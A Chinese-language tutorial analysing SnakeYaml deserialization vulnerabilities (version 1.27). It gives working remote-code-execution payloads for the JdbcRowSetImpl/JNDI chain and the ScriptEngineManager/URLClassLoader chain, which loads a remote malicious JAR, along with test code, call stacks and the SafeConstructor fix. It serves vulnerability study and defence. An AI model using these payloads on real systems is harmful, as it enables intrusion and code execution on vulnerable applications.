Java安全之SnakeYaml漏洞分析与利用
字数 1462 2025-08-20 18:17:41
SnakeYaml漏洞分析与利用教学文档
1. 简介
1.1 YAML基础
YAML是一种人类可读的数据序列化语言,常用于编写配置文件。基本特点:
- 大小写敏感
- 使用缩进表示层级关系
- 缩进只允许使用空格
#表示注释- 支持对象、数组、纯量三种数据结构
示例:
# YAML对象
key:
child-key: value
child-key2: value2
# YAML数组
companies:
-
id: 1
name: company1
price: 200W
-
id: 2
name: company2
price: 500W
1.2 SnakeYaml库
SnakeYaml是Java中解析YAML的库,提供YAML数据和Java对象相互转换的API:
Yaml.load(): 将YAML数据反序列化为Java对象Yaml.dump(): 将Java对象序列化为YAML格式
2. 基本使用示例
2.1 环境准备
- JDK 1.8_66
- Maven依赖:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
2.2 序列化示例
public class Person {
private String username;
private int age;
// 构造方法、getter和setter
}
public class SnakeYamlTest {
public static void main(String[] args) {
Yaml yaml = new Yaml();
Person person = new Person("mike", 18);
String str = yaml.dump(person);
System.out.println(str);
}
}
输出:
!!SnakeYaml.Person {age: 18, username: mike}
注:!!表示对应的类名,序列化过程会触发类属性对应的get方法
2.3 反序列化示例
public class SnakeYamlTest {
public static void main(String[] args) {
String str = "!!SnakeYaml.Person {age: 18, username: mike}";
Yaml yaml = new Yaml();
Person person = (Person) yaml.load(str);
System.out.println(person);
}
}
输出:
SnakeYaml.Person@48533e64
注:反序列化过程会触发类属性对应的set方法
3. 漏洞分析与利用
3.1 JdbcRowSetImpl链利用
环境要求
- SnakeYaml 1.27
- JDK 1.8_66
利用步骤
- 启动LDAP服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "calc.exe"
- POC:
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/5cjybz, autoCommit: true}
- 测试代码:
public class PocTest1 {
public static void main(String[] args) {
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/5cjybz, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
漏洞原理
- 反序列化过程中会调用
JdbcRowSetImpl的setAutoCommit方法 setAutoCommit方法内部会调用connect方法connect方法通过JNDI查找dataSourceName指定的LDAP服务- 触发JNDI注入,执行恶意代码
关键调用栈
getObjectFactoryFromReference:163, NamingManager
getObjectInstance:189, DirectoryManager
c_lookup:1085, LdapCtx
p_lookup:542, ComponentContext
lookup:177, PartialCompositeContext
lookup:205, GenericURLContext
lookup:94, ldapURLContext
lookup:417, InitialContext
connect:624, JdbcRowSetImpl
setAutoCommit:4067, JdbcRowSetImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
set:77, MethodProperty
constructJavaBean2ndStep:285, Constructor$ConstructMapping
construct:171, Constructor$ConstructMapping
construct:331, Constructor$ConstructYamlObject
constructObjectNoCheck:229, BaseConstructor
constructObject:219, BaseConstructor
constructDocument:173, BaseConstructor
getSingleData:157, BaseConstructor
loadFromReader:490, Yaml
load:416, Yaml
3.2 ScriptEngineManager链利用
SPI机制简介
SPI(Service Provider Interface)是JDK内置的服务提供发现机制。通过在ClassPath路径下的META-INF/services文件夹下查找文件,自动加载文件中所定义的类。
环境要求
- SnakeYaml 1.27
- JDK 1.8_66
利用步骤
-
准备恶意JAR包:
- 使用项目:https://github.com/artsploit/yaml-payload.git
- 修改
AwesomeScriptEngineFactory.java中的命令执行代码 - 编译:
javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ . - 注意:必须使用一致的Java版本编译
-
启动Web服务:
python -m http.server 8080
- POC:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8080/yaml-payload.jar"]
]]
]
- 测试代码:
public class PocTest2 {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8080/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
漏洞原理
- 反序列化过程中会实例化
ScriptEngineManager ScriptEngineManager构造函数会通过SPI机制加载META-INF/services中定义的类- 从恶意JAR包中加载并实例化
AwesomeScriptEngineFactory类 - 在构造函数中执行恶意代码
关键调用栈
nextService:381, ServiceLoader$LazyIterator
next:404, ServiceLoader$LazyIterator
next:480, ServiceLoader$1
initEngines:122, ScriptEngineManager
init:84, ScriptEngineManager
<init>:75, ScriptEngineManager
newInstance0:-1, NativeConstructorAccessorImpl
newInstance:62, NativeConstructorAccessorImpl
newInstance:45, DelegatingConstructorAccessorImpl
newInstance:422, Constructor
construct:570, Constructor$ConstructSequence
construct:331, Constructor$ConstructYamlObject
constructObjectNoCheck:229, BaseConstructor
constructObject:219, BaseConstructor
constructDocument:173, BaseConstructor
getSingleData:157, BaseConstructor
loadFromReader:490, Yaml
load:416, Yaml
4. 漏洞修复方案
4.1 安全使用建议
- 禁止
yaml.load方法中的参数可控 - 使用安全构造函数:
Yaml yaml = new Yaml(new SafeConstructor());
4.2 SafeConstructor白名单
SafeConstructor定义了反序列化类的白名单:
public SafeConstructor(LoaderOptions loadingConfig) {
super(loadingConfig);
this.yamlConstructors.put(Tag.NULL, new ConstructYamlNull());
this.yamlConstructors.put(Tag.BOOL, new ConstructYamlBool());
this.yamlConstructors.put(Tag.INT, new ConstructYamlInt());
this.yamlConstructors.put(Tag.FLOAT, new ConstructYamlFloat());
this.yamlConstructors.put(Tag.BINARY, new ConstructYamlBinary());
this.yamlConstructors.put(Tag.TIMESTAMP, new ConstructYamlTimestamp());
this.yamlConstructors.put(Tag.OMAP, new ConstructYamlOmap());
this.yamlConstructors.put(Tag.PAIRS, new ConstructYamlPairs());
this.yamlConstructors.put(Tag.SET, new ConstructYamlSet());
this.yamlConstructors.put(Tag.STR, new ConstructYamlStr());
this.yamlConstructors.put(Tag.SEQ, new ConstructYamlSeq());
this.yamlConstructors.put(Tag.MAP, new ConstructYamlMap());
this.yamlConstructors.put((Object)null, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.scalar, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.sequence, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.mapping, undefinedConstructor);
}
5. 总结
- SnakeYaml的反序列化漏洞主要源于可以加载任意类并调用其方法
- 两种主要利用方式:
- JdbcRowSetImpl链:通过JNDI注入实现RCE
- ScriptEngineManager链:通过SPI机制加载恶意类实现RCE
- 修复方案是使用
SafeConstructor限制可反序列化的类 - 关键点在于理解YAML反序列化过程中如何实例化对象和调用方法
通过本文的学习,读者应该能够理解SnakeYaml漏洞的原理、利用方式及防御方法,在实际开发中安全地使用SnakeYaml库。